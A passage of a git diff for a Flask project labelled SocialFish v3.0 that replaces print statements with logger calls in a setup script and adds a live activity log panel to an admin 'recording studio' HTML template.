configuration...") + logger.info("\n[*] Creating .env configuration...") env_content = """# SocialFish v3.0 Configuration DATABASE=./database.db FLASK_ENV=development @@ -116,11 +120,11 @@ def generate_config(): WEBHOOK_TIMEOUT=5 """ env_file.write_text(env_content) - print("[+] .env file created (configure as needed) ✓") + logger.info("[+] .env file created (configure as needed) ✓") def print_next_steps(): """Print quick-start guide""" - print(""" + logger.info(""" ╔═══════════════════════════════════════════╗ ║ Setup Complete! Next Steps: ║ ╚═══════════════════════════════════════════╝ @@ -170,14 +174,11 @@ def main(): generate_config() print_next_steps() else: - print("[-] Setup incomplete. Try manual database setup:") - print(" python core/db_migration.py") + logger.error("Setup incomplete. Try manual database setup:") + logger.error(" python core/db_migration.py") except KeyboardInterrupt: - print("\n[-] Setup cancelled") + logger.warning("Setup cancelled") exit(1) except Exception as e: - print(f"\n[-] Setup error: {e}") + logger.exception("Setup error: %s", e) exit(1) - -if __name__ == "__main__": - main() diff --git a/templates/admin/recording_studio.html b/templates/admin/recording_studio.html index b60ec52..c1023e0 100644 --- a/templates/admin/recording_studio.html +++ b/templates/admin/recording_studio.html @@ -103,6 +103,18 @@
Session Details
-
+ + +
+
Live Activity Log
+
+ [*] Initializing recorder... +
+
+ + +
+
@@ -206,6 +218,87 @@
Available Endpoints: